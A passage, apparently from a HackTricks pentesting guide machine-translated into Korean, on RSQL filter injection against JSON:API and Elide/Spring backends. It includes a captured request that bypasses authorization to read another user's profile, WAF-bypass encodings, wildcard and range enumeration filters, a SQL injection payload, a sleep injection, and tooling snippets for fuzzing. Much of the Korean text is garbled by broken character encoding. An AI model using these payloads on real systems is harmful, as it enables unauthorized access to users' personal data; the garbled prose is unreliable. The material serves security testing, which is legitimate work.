Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Response
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}
filters์ ์กฐํฉ์ authorization control์ ์ฐํํ์ฌ ๋ค๋ฅธ users์ profiles์ ์ ๊ทผํ ์ ์์ต๋๋ค:
Request
GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
์๋ต
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}
ํ์ง ๋ฐ fuzzing quickwins
- RSQL ์ง์ ์ฌ๋ถ๋
?filter=id==test,?q==test๊ฐ์ ๋ฌดํดํ ํ๋ก๋ธ๋ ์๋ชป๋ ์ฐ์ฐ์=foo=๋ฅผ ๋ณด๋ด ํ์ธํ์ธ์; verbose APIs๋ ์ข ์ข ํ์ ์ค๋ฅ๋ฅผ leakํฉ๋๋ค (โUnknown operatorโ / โUnknown propertyโ). - ๋ง์ ๊ตฌํ์ฒด๊ฐ URL ํ๋ผ๋ฏธํฐ๋ฅผ ๋ ๋ฒ ํ์ฑํฉ๋๋ค;
(,),*,;๋ฅผ ์ด์ค ์ธ์ฝ๋ฉ(์:%2528admin%2529)ํด ๋จ์ํ ์ฐจ๋จ ๋ชฉ๋ก๊ณผ WAFs๋ฅผ ์ฐํํด๋ณด์ธ์. - Boolean exfil with wildcards:
filter[users]=email==*%@example.com;status==ACTIVE๊ทธ๋ฆฌ๊ณ,(OR)๋ก ๋ ผ๋ฆฌ๋ฅผ ๋ค์ง์ด ์๋ต ํฌ๊ธฐ๋ฅผ ๋น๊ตํ์ธ์. - Range/proximity leaks:
filter[users]=createdAt=rng=(2024-01-01,2025-01-01)๋ ์ ํํ ID๋ฅผ ๋ชจ๋ฅธ ์ฑ ์ฐ๋ ๋จ์๋ก ๋น ๋ฅด๊ฒ ์ด๊ฑฐํฉ๋๋ค.
ํ๋ ์์ํฌ๋ณ ์ ์ฉ (Elide / JPA Specification / JSON:API)
- Elide์ ๋ง์ Spring Data REST ํ๋ก์ ํธ๋ RSQL์ JPA Criteria๋ก ์ง์ ๋ณํํฉ๋๋ค. ๊ฐ๋ฐ์๊ฐ ์ปค์คํ
์ฐ์ฐ์(์:
=ilike=)๋ฅผ ์ถ๊ฐํ๊ณ prepared parameters ๋์ ๋ฌธ์์ด ์ฐ๊ฒฐ๋ก predicates๋ฅผ ๊ตฌ์ฑํ๋ฉด SQLi๋ก ์ ํํ ์ ์์ต๋๋ค (ํด๋์ ํ์ด๋ก๋:name=ilike='%%' OR 1=1--'). - Elide analytic data store๋ parameterized columns๋ฅผ ํ์ฉํฉ๋๋ค; ์ฌ์ฉ์ ์ ์ดํ analytic params์ RSQL ํํฐ๋ฅผ ๊ฒฐํฉํ ๊ฒ์ด CVE-2022-24827์ SQLi ๊ทผ๋ณธ ์์ธ์ด์์ต๋๋ค. ํจ์น๋ ๋ฒ์ ์์ ํ๋ผ๋ฏธํฐํ๊ฐ ์ฌ๋ฐ๋ฅด๊ฒ ๋์ด ์์ด๋ ์ ์ฌํ ๋ง์ถคํ ์ฝ๋๊ฐ ๋จ์์๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ผ๋ฏ๋ก
${}๋ฅผ ํฌํจํ๋@JoinFilter/@ReadPermissionSpEL ํํ์์ ์ฐพ์';sleep(5);'๋๋ ๋ ผ๋ฆฌ์ ํญ์ง์ ์ฃผ์ ํด๋ณด์ธ์. - JSON:API ๋ฐฑ์๋๋ ์ผ๋ฐ์ ์ผ๋ก
include์filter๋ฅผ ๋ชจ๋ ๋ ธ์ถํฉ๋๋ค. ์ฐ๊ด ๋ฆฌ์์ค์ ๋ํ ํํฐ๋ง(filter[orders]=customer.email==*admin*)์ relation-level filters๊ฐ ์์ ๊ถ ๊ฒ์ฌ๋ณด๋ค ๋จผ์ ์คํ๋๊ธฐ ๋๋ฌธ์ ์ต์์ ACL์ ์ฐํํ ์ ์์ต๋๋ค.
์๋ํ ๋์ ๋๊ตฌ
- rsql-parser CLI (Java):
java -jar rsql-parser.jar "name=='*admin*';status==ACTIVE"๋ ํ์ด๋ก๋๋ฅผ ๋ก์ปฌ์์ ๊ฒ์ฆํ๊ณ ์ถ์ ๋ฌธ๋ฒ ํธ๋ฆฌ๋ฅผ ๋ณด์ฌ์ค๋๋ค โ ๊ท ํ ์กํ ๊ดํธ์ ์ปค์คํ ์ฐ์ฐ์ ์ ์์ ์ ์ฉํฉ๋๋ค. - Python quick builder:
from pyrsql import RSQL
payload = RSQL().and_("email==*admin*", "status==ACTIVE").or_("role=in=(owner,admin)")
print(str(payload))
- HTTP fuzzer (ffuf, turbo-intruder)์ ํจ๊ป ์ฌ์ฉ:
=in=๋ฆฌ์คํธ ์์์ ์์ผ๋์นด๋ ์์น*a*,*e*๋ฑ์ ๋ฐ๋ณตํ์ฌ ID์ ์ด๋ฉ์ผ์ ๋น ๋ฅด๊ฒ ์ด๊ฑฐํฉ๋๋ค.
์ฐธ๊ณ ์๋ฃ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


